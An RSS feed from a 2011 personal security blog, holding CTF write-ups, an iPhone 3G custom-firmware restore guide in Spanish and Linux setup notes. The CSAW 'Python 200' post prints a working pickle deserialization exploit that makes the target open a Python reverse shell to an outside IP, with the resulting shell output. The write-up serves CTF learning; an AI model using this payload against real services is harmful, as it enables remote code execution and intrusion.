<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>stuff &#187; Uncategorized</title>
	<atom:link href="http://blog.beford.org/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.beford.org</link>
	<description></description>
	<lastBuildDate>Tue, 18 Oct 2011 11:33:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>CSAW 2011 &#8211; Reversing &#8211; Python 200</title>
		<link>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/</link>
		<comments>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 06:43:41 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[csaw]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=231</guid>
		<description><![CDATA[Python &#8211; 200 Points  nc csawctf.poly.edu 53080 When we connected to the port it was running a service Haderper: ----------------------------- &#124; Welcome to Haderper! &#124; &#124; Please enter your command &#124; ----------------------------- &#62; help Haderper v0.1-alpha Command help: help - &#8230; <a href="http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Python &#8211; 200 Points </strong></p>
<p>nc csawctf.poly.edu 53080</p></blockquote>
<p>When we connected to the port it was running a service Haderper:</p>
<pre>-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
&gt; help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

&gt; derp hi
UydoaScKcDAKLg==
&gt; underp UydoaScKcDAKLg==
hi
&gt;</pre>
<p>If we decode the base64 string we can see that it looks like a Pickle dump file:</p>
<pre>$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0</pre>
<p>After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell cheatsheet.</a></p>
<pre>
# credits for this code goes to <a href="http://mail.python.org/pipermail/python-list/2002-July/756407.html">Jeff Epler</a>
import pickle, new, base64

def nasty(module, function, *args):
&nbsp;&nbsp;&nbsp;&nbsp;return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080
</pre>
<p>And our listening nc gets the remote shell:</p>
<pre>
$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}
</pre>
<p><strong>Key:</strong>38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db</p>
<p>You can see the code for the daemon <a href="http://pastie.org/2592716">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hack.lu 2011 CTF – Python Crackme Solution</title>
		<link>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/</link>
		<comments>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 01:00:47 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=237</guid>
		<description><![CDATA[Python Crackme This challenge&#8217;s hero, needs your help. Sadly, our Commander Sheen has lost his Pogo Stick. Without his Pogo Stick, Commander Sheen is not WINNING. Can you help him? Solve the puzzle and find out what space-tool could support &#8230; <a href="http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote>
<div id="challengeframe">
<h1>Python Crackme</h1>
<p>This challenge&#8217;s hero, needs your help. Sadly, our Commander Sheen has lost his Pogo Stick. Without his Pogo Stick, Commander Sheen is not WINNING. Can you help him? Solve the puzzle and find out what space-tool could support him. <a href="https://ctf.hack.lu/files/crackme.pyc" target="_blank">download</a></p>
</div>
</blockquote>
<p>After downloading the mentioned file, we can see it is a pyc file which can be run with python2.7, using the script provided here to review the <a href="http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html">structure of pyc files</a>  (if you are using 64 bits python make sure to change<em> struct.unpack(&#8216;L&#8217;, moddate)[0])</em> to <em>struct.unpack(&#8216;&lt;L&#8217;, moddate)[0])</em> to get it working.) we could see some stuff like how many arguments it required to run:<br />
<code><br />
24 LOAD_NAME                2 (len)<br />
27 LOAD_NAME                0 (sys)<br />
30 LOAD_ATTR                3 (argv)<br />
33 CALL_FUNCTION            1<br />
36 LOAD_CONST              28 (10)<br />
39 COMPARE_OP               2 (==)<br />
42 POP_JUMP_IF_TRUE        51<br />
45 LOAD_GLOBAL              4 (AssertionError)<br />
48 RAISE_VARARGS            1</code></p>
<p>Here len(sys.argv) == 10 should be true otherwise an assertion occurs</p>
<p><code> <br />
51 BUILD_LIST               0<br />
54 LOAD_NAME                0 (sys)<br />
57 LOAD_ATTR                3 (argv)<br />
60 LOAD_CONST               3 (1)<br />
63 SLICE+1<br />
64 GET_ITER<br />
65 FOR_ITER                18 (to 86)<br />
68 STORE_NAME               5 (x)<br />
71 LOAD_NAME                6 (int)<br />
74 LOAD_NAME                5 (x)<br />
77 CALL_FUNCTION            1<br />
80 LIST_APPEND              2<br />
83 JUMP_ABSOLUTE           65<br />
86 UNPACK_SEQUENCE          9<br />
89 STORE_NAME               7 (a)<br />
92 STORE_NAME               8 (b)<br />
95 STORE_NAME               9 (c)<br />
98 STORE_NAME              10 (d)<br />
101 STORE_NAME              11 (e)<br />
104 STORE_NAME              12 (f)<br />
107 STORE_NAME              13 (g)<br />
110 STORE_NAME              14 (h)<br />
113 STORE_NAME              15 (i)</code></p>
<p>All the arguments (from 1 onwards) are stored on a, b, c, d, e, f , g, h, i.<br />
<code><br />
116 LOAD_NAME                8 (b)<br />
119 LOAD_NAME                9 (c)<br />
122 COMPARE_OP               2 (==)<br />
125 POP_JUMP_IF_TRUE       134<br />
128 LOAD_GLOBAL              4 (AssertionError)<br />
131 RAISE_VARARGS            1</code></p>
<p>Some additional conditions appeared, b == c, c == g, g == h, g + b + c == 0.</p>
<p><code><br />
254 LOAD_CONST               7 (3)<br />
257 LOAD_NAME                7 (a)<br />
260 BINARY_MULTIPLY<br />
261 LOAD_CONST               8 (12)<br />
264 LOAD_NAME               10 (d)<br />
267 BINARY_MULTIPLY<br />
268 BINARY_ADD<br />
269 LOAD_NAME               11 (e)<br />
272 BINARY_ADD<br />
273 LOAD_CONST               9 (4)<br />
276 LOAD_NAME               12 (f)<br />
279 BINARY_MULTIPLY<br />
280 BINARY_ADD<br />
281 LOAD_CONST              10 (6)<br />
284 LOAD_NAME               15 (i)<br />
287 BINARY_MULTIPLY<br />
288 BINARY_ADD<br />
289 LOAD_CONST              11 (2194)<br />
292 COMPARE_OP               2 (==)<br />
295 POP_JUMP_IF_TRUE       304<br />
298 LOAD_GLOBAL              4 (AssertionError)<br />
301 RAISE_VARARGS            1<br />
</code></p>
<p>Here we get the next equation:</p>
<p><code>3*a + 12*d + e + 4*f + 6*i == 2194</code>.</p>
<p>There are 4 additional equations:<br />
<code><br />
-6 * a + 2 * d - 4 * e - f + 9 * i == -243<br />
a + 6 * d + 2 * e + 7 * f + 11 * i == 2307<br />
5 * a - 2 * d - 7 * e + 76 * f + 8 * i == 8238<br />
2 * a - 2 * d - 2 * e - 2 * f + 2 * i == -72<br />
</code></p>
<p>After <a href="http://www.numberempire.com/equationsolver.php?function=3*a%2B12*d%2Be%2B4*f%2B6*i%3D2194%2C-6*a%2B2*d-4*e-f%2B9*i%3D-243%2Ca%2B6*d%2B2*e%2B7*f%2B11*i%3D2307%2C5*a-2*d-7*e%2B76*f%2B8*i%3D8238%2C2*a-2*d-2*e-2*f%2B2*i%3D-72&amp;var=a%2Cd%2Ce%2Cf%2Ci&amp;answers=">solving the equations</a> we get:</p>
<p>a = 124,d = 71,e = 72,f = 100,i = 83</p>
<p>The additional values must be zero:</p>
<p>a = 124, b = 0, c = 0,  d = 71, e = 72, f = 100, g = 0 , h = 0, i = 83</p>
<p><code>$ python2 crackme.pyc 124 0 0 71 72 100 0 0 83<br />
sp4ceb4llz of st33l<br />
</code></p>
<p><strong>Flag</strong>: sp4ceb4llz of st33l</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>iPhone 3G &#8211; Reparar error 1015 al actualizar a iOS 4.2.1</title>
		<link>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/</link>
		<comments>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/#comments</comments>
		<pubDate>Sun, 28 Aug 2011 06:08:56 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=189</guid>
		<description><![CDATA[Advertencia: No me hago responsable de cualquier daño que pueda ocurrir. El proceso que documento en la siguiente entrada es el que me funciono a mi.  Específicamente, el teléfono que se reparo fue un iPhone 3G, con baseband 06.10.00, este procedimiento ni &#8230; <a href="http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Advertencia</strong>: No me hago responsable de cualquier daño que pueda ocurrir. El proceso que documento en la siguiente entrada es el que me funciono a mi.  Específicamente, el teléfono que se reparo fue un iPhone 3G, con baseband 06.10.00, este procedimiento ni el firmware que se proporciona funcionara en otros modelos.</p>
<p>Primero intentare explicar porque se produce este error, muy seguramente tu telefono para poder liberarlo del Carrier Lock (abrirle las bandas, liberar la sim para que acepte otros operadores) la persona que lo libero instalo el baseband 06.10.00 para iPad en su teléfono, y luego uso ultrasn0w.</p>
<p>Este error se produce al intentar restaurar el iPhone, ya que iTunes no puede aplicarle el baseband nuevo que es &#8216;menor&#8217; que el que ya tienen instalados, lo cual vuelve &#8216;loco&#8217; a iTunes, por decirlo asi. Y si intentas actualizarlo con iTunes, el proceso nunca terminara correctamente y siempre te mostrará el mensaje &#8220;The iphone could not be restored. An unknown error occurred 1015&#8243;, sin salir del modo de restauración.</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2011/08/Error1015.png"><img class="aligncenter size-full wp-image-201" title="Error 1015" src="http://blog.beford.org/wp-content/uploads/2011/08/Error1015.png" alt="The iphone could not be restored. an unknown error occurred (1015)." width="558" height="231" /></a></p>
<p>&nbsp;</p>
<p><strong>Herramientas necesarias:</strong></p>
<p>1) Redsn0w 0.9.6 o superior</p>
<blockquote><p>https://sites.google.com/a/iphone-dev.com/files/home/</p></blockquote>
<p>2) iPhone 3G 4.2.1 custom firmware</p>
<blockquote><p>http://www.fileserve.com/file/XYYxtvd/</p>
<p>http://www.wupload.com/file/126167650/iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw</p>
<p>http://www.uploadstation.com/file/JWzG5Hh/iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw</p>
<p>http://www.megaupload.com/?d=681MCLXO</p></blockquote>
<p>3) iPhone 3G 4.2.1 firmware oficial</p>
<blockquote><p>http://appldnld.apple.com/iPhone4/061-9853.20101122.Vfgt5/iPhone1,2_4.2.1_8C148_Restore.ipsw</p>
<p>http://www.iclarified.com/entry/index.php?enid=750</p>
<p>http://www.felixbruns.de/</p></blockquote>
<p>Lo primero que tenemos que hacer es usar Redsn0w para habilitar el modo pwned DFU, el cual nos permite cargar firmware customs al telefono. En Browse seleccionamos el firmware ACTUAL, si la actualizacion la hicieron por error con iTunes deben tenerlo ya en su carpeta:</p>
<p><strong>Mac:</strong> ~/Library/iTunes/iPhone Software Updates/<br />
<strong>XP : </strong>X:\Documents and Settings\&lt;User&gt;\Application Data\Apple Computer\iTunes\iPhone Software Updates<br />
<strong>Vista/ 7</strong>: <strong>X:\</strong>Users\&lt;User&gt;\AppData\Roaming\Apple Computer\iTunes\iPhone Software Updates</p>
<p>Copienlo a un lugar alterno para que tengan una copia de seguridad, iPhone1,2_4.2.1_8C148_Restore.ipsw. Seleccionen <em>Just enter pwned DFU mode right now </em>y sigan las instrucciones, una vez el telefono se encuentre en DFU, abran iTunes.</p>
<p>En iTunes, aparecerá que el telefono esta en modo de recuperación, la pantalla del telefono estará negra (esto es normal). Ahora  con Option (mac) ó Shift (win) presionado hacen click en <em>Restore</em>, y les debe aparecer el cuadro de abrir archivo, aca van a su carpeta de descargas y seleccionan el archivo<strong> iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw </strong>y el proceso de restauración de este custom firmware iniciará.</p>
<p>Si todo salio bien, el iPhone debe arrancar sin problemas y tener el Cydia instalado, si el iPhone no reconoce la SIM card, muy probablemente tu telefono necesita el ultrasn0w para poder utilizar la SIM de tu operador movil, instalalo desde Cydia y todo deberia salir bien.</p>
<p>Este es el video con todo el procedimiento (ingles): <a href="http://www.youtube.com/watch?v=lKkront2s_0&amp;feature=feedlik">http://www.youtube.com/watch?v=lKkront2s_0&amp;feature=feedlik</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CTF Campus Party 2011 Colombia</title>
		<link>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/</link>
		<comments>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/#comments</comments>
		<pubDate>Fri, 08 Jul 2011 21:44:47 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=184</guid>
		<description><![CDATA[Este año representé a NULL-Life en el CTF de Campus Party Colombia, logré obtener el primer lugar, el premio fue un magico iPad 2 (que aún no me han entregado, pero la paciencia es la virtud de todo pentester). Les dejo &#8230; <a href="http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Este año representé a <a title="null-life team" href="http://null-life.com">NULL-Life</a> en el CTF de Campus Party Colombia, logré obtener el primer lugar, el premio fue un magico iPad 2 <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  (que aún no me han entregado, pero la paciencia es la virtud de todo pentester). Les dejo el <a href="http://beford.net/stuff/WriteUpCampusPartyCo2011.pdf">writeup</a> para que vean la dificultad y solucion de todos los retos.</p>
<p>La próxima semana viene el CTF de Campus Party Valencia, en el cual podremos participar como equipo <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>¡Agradecimientos a Nonroot y Campus Party por la organización del evento!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/07/08/ctf-campus-party-2011-colombia/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PlaidCTF 2011 &#8211; Division is HARD!!</title>
		<link>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/</link>
		<comments>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/#comments</comments>
		<pubDate>Thu, 28 Apr 2011 18:04:33 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=183</guid>
		<description><![CDATA[Esta vez participamos en el PlaidCTF, organizado por el Plaid Parlament of Pwning. Muchos retos, casi 40 para resolverlos en 2 dias, y con una dificultad considerable. Obtuvimos la posicion numero 42 con NULL Life, aunque nos faltaba un miembro &#8230; <a href="http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Esta vez participamos en el PlaidCTF, organizado por el Plaid Parlament of Pwning. Muchos retos, casi 40 para resolverlos en 2 dias, y con una dificultad considerable.</p>
<p>Obtuvimos la posicion numero 42 con NULL Life, aunque nos faltaba un miembro importante del equipo. Nos ubicamos por encima de los otros equipos Colombianos, el ultimo dia del ctf el equipo RICTeam nos logro empatar, pero teniamos un As bajo la manga y los pudimos dejar abajo faltando 5 minutos para terminar el CTF cuando ya poco podian hacer. Pueden ver la <a href="http://www.plaidctf.com/scoreboard">tabla de posiciones</a> completa en el <a href="http://www.plaidctf.com/">sitio de plaidctf</a>.</p>
<p>Daniel publico la solucion para el <a href="http://www.sinfocol.org/2011/04/writeup-im-feeling-lucky-plaidctf-2011">reto I&#8217;m feeling lucky</a>. Y por mi parte les publicare la solucion para Division is hard, esto para ayudarle a cierto equipo con casi 16 anios de experiencia que no pudo resolverlo (de hecho no resolvio ninguno) :C</p>
<blockquote><p>«Division is HARD!!»<br />
We found an old document in one of the AED offices. However, the text is distorted. Figure out what the corrupted value is.<br />
1.3337 ~= XXXXXXX/3145727</p></blockquote>
<p><a href="http://www.google.com.co/search?hl=es-419&amp;q=1.3337+3145727&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=">Buscando en google</a> los dos numeros presentados en el problema, podemos ver de que se trata, el error de hardware coprocesador de floating point que incluian algunos procesadores Pentium (hace 16 anios coincidencialmente ).</p>
<p><a href="http://www.ipsr.ku.edu/stafffil/hoyle/pentium_fdiv/">http://www.ipsr.ku.edu/stafffil/hoyle/pentium_fdiv/</a></p>
<p><a href="http://en.wikipedia.org/wiki/Pentium_FDIV_bug">http://en.wikipedia.org/wiki/Pentium_FDIV_bug</a></p>
<p>Al realizar la division 4195835/3145727 en un procesador afectado devolvería 1.3337 cuando el resultado correcto es 1,3338. La respuesta del reto era 4195835.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/28/plaidctf-2011-division-is-hard/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox 3.6.19 Remote Code Execution</title>
		<link>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/</link>
		<comments>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/#comments</comments>
		<pubDate>Fri, 15 Apr 2011 06:32:08 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[mozilla]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=176</guid>
		<description><![CDATA[To be disclosed soon. &#160;]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.beford.org/wp-content/uploads/2011/04/minefield-icon.png"><img class="aligncenter size-full wp-image-178" title="minefield-icon" src="http://blog.beford.org/wp-content/uploads/2011/04/minefield-icon.png" alt="" width="128" height="128" /></a></p>
<p>To be disclosed soon.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/04/15/firefox-3-6-19-remote-code-execution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MeeGo Image Creator mic2 on ArchLinux</title>
		<link>http://blog.beford.org/2011/01/08/meego-image-creator-mic2-on-archlinux/</link>
		<comments>http://blog.beford.org/2011/01/08/meego-image-creator-mic2-on-archlinux/#comments</comments>
		<pubDate>Sat, 08 Jan 2011 22:39:14 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Archlinux]]></category>
		<category><![CDATA[MeeGo]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[archlinux]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=143</guid>
		<description><![CDATA[It has been a while since I first tried and failed to get mic2 working on my ArchLinux machine. Since then Arch moved to python 3, and some additional steps are required to get it working, fortunately this time the &#8230; <a href="http://blog.beford.org/2011/01/08/meego-image-creator-mic2-on-archlinux/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It has been a while since I first tried and failed to get mic2 working on my ArchLinux machine. Since then Arch moved to python 3, and some additional steps are required to get it working, fortunately this time the issues I encountered where easily fixed, I will be reporting them to the packages maintainers, also I have adopted one of them that was abandoned. I have uploaded my PKGBUILDs here just in case the maintainers are unable to make changes soon.</p>
<p>Before we start compiling we will need to make sure to have some required dependencies, this could be done by some aur wrappers automatically:</p>
<blockquote><p>pacman -S python2 git cpio syslinux squashfs-tools parted lua nss nspr gnupg icu intltool urlgrabber python-pysqlite libxml2</p></blockquote>
<p>We will start building the packages in this order, if a package is not available on the <a title="mic2 PKGBUILD" href="http://beford.net/linux/meego/mic2">mic2</a> folder, use the package from AUR:</p>
<ul>
<li>beecrypt</li>
<li>rpm-org</li>
<li>python2-iniparse</li>
<li>yum-metadata-parser</li>
<li>yum</li>
<li>isomd5sum</li>
<li>pykickstart-git</li>
<li>libaio</li>
<li>multipath-tools</li>
</ul>
<p>And finally, build mic2 ! Everything should go smooth, try to build and image (x86 only at the moment, we still require qemu-arm to build ARM images):</p>
<blockquote><p>mic-image-creator &#8211;config=meego-handset-ia32-pinetrail-mtf-1.1.80.13.20110105.1.ks &#8211;run-mode=-1 &#8211;format=livecd &#8211;fstype=vfat &#8211;release=1.1.80.13.20110105.1 &#8211;package=none &#8211;overlay-size-mb=64</p></blockquote>
<p>If you have any problem ask on the comments and I&#8217;ll try to see what is wrong <img src='http://blog.beford.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/01/08/meego-image-creator-mic2-on-archlinux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BarcampSE Colombia 2010 Wargame</title>
		<link>http://blog.beford.org/2010/12/06/barcampse-colombia-2010-wargame/</link>
		<comments>http://blog.beford.org/2010/12/06/barcampse-colombia-2010-wargame/#comments</comments>
		<pubDate>Mon, 06 Dec 2010 03:13:07 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=139</guid>
		<description><![CDATA[Somos los primeros en terminar el wargame de BarcampSE 2010 ! Daniel ya envio el writeup de los retos y esperamos que mañana mismo le entreguen el premio y pueda publicar en sinfocol.org los write ups para que todos los &#8230; <a href="http://blog.beford.org/2010/12/06/barcampse-colombia-2010-wargame/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Somos los primeros en terminar el wargame de BarcampSE 2010 ! <img src='http://blog.beford.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><a href="http://sinfocol.org">Daniel</a> ya envio el writeup de los retos y esperamos que mañana mismo le entreguen el premio y pueda publicar en <a href="http://sinfocol.org">sinfocol.org</a> los write ups para que todos los puedan ver. Ademas de unas fotos del premio xD</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2010/12/06/barcampse-colombia-2010-wargame/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Warning: mysql_connect() [function.mysql-connect]: Access denied for user &#8216;IUSR&#8217;@&#039;localhost&#8217; (using password: NO)</title>
		<link>http://blog.beford.org/2010/11/29/warning-mysql_connect-function-mysql-connect-access-denied-for-user-iusrlocalhost-using-password-no/</link>
		<comments>http://blog.beford.org/2010/11/29/warning-mysql_connect-function-mysql-connect-access-denied-for-user-iusrlocalhost-using-password-no/#comments</comments>
		<pubDate>Mon, 29 Nov 2010 15:58:55 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=130</guid>
		<description><![CDATA[If you keep getting this warning, even though you are supplying a different username and a password, make sure the sql.safemode setting is Off on the php.ini file. On linux/cpanel instead of showing IUSR the user of your cpanel account &#8230; <a href="http://blog.beford.org/2010/11/29/warning-mysql_connect-function-mysql-connect-access-denied-for-user-iusrlocalhost-using-password-no/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>If you keep getting this warning, even though you are supplying a different username and a password, make sure the sql.safemode setting is Off on the php.ini file. On linux/cpanel instead of showing IUSR the user of your cpanel account may appear, but the problem is still the same.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2010/11/29/warning-mysql_connect-function-mysql-connect-access-denied-for-user-iusrlocalhost-using-password-no/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prolink Pixelview MPEG 8000GT en Archlinux</title>
		<link>http://blog.beford.org/2010/11/27/prolink-pixelview-mpeg-8000gt-en-archlinux/</link>
		<comments>http://blog.beford.org/2010/11/27/prolink-pixelview-mpeg-8000gt-en-archlinux/#comments</comments>
		<pubDate>Sat, 27 Nov 2010 03:10:54 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Archlinux]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[archlinux]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=128</guid>
		<description><![CDATA[Esta tarjeta tiene un chip Conexant CX23880. La salida de lspci -nn debe contener los siguientes 04:01.0 Multimedia video controller [0400]: Conexant Systems, Inc. CX23880/1/2/3 PCI Video and Audio Decoder [14f1:8800] (rev 05) 04:01.1 Multimedia controller [0480]: Conexant Systems, Inc. CX23880/1/2/3 &#8230; <a href="http://blog.beford.org/2010/11/27/prolink-pixelview-mpeg-8000gt-en-archlinux/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Esta tarjeta tiene un chip Conexant CX23880. La salida de lspci -nn debe contener los siguientes</p>
<p>04:01.0 Multimedia video controller [0400]: Conexant Systems, Inc. CX23880/1/2/3 PCI Video and Audio Decoder [14f1:8800] (rev 05)<br />
04:01.1 Multimedia controller [0480]: Conexant Systems, Inc. CX23880/1/2/3 PCI Video and Audio Decoder [Audio Port] [14f1:8801] (rev 05)</p>
<p>Primero que todo debemos conseguir el firmware xc3028-v27.fw y copiarlo a /lib/firmware/. Para los que quieran obtener el firmware, en mi sitio lo he subido, aclaro que no se si tengo derecho para distribuirlo,  si alguien se queja lo quitaré. Tambien hay una guia sobre como extraerlo directamente desde los controladores para Windows http://www.linuxtv.org/wiki/index.php/Xceive_XC3028/XC2028#How_to_Obtain_the_Firmware.</p>
<blockquote><p>cd /lib/firmware/<br />
wget http://beford.org/linux/xc3028-v27.fw</p></blockquote>
<p>En mi caso el id de la card es 66, y de la sintonizadora 71, agregamos las siguientes lineas al /etc/modprobe.d/modprobe.conf :</p>
<blockquote><p>options cx88xx card=66 tuner=71<br />
options snd-hda-intel index=0<br />
options cx88_alsa index=1</p></blockquote>
<p>Para evitar que el audio de la sintonizadora de TV conflicto con la integrada del sistema, es necesario cambiar el indice, por eso agregamos el parametro index al modulo de sonido. Reiniciamos el sistema y debe quedar funcionando, pueden probar con xawtv o tvtime.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2010/11/27/prolink-pixelview-mpeg-8000gt-en-archlinux/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

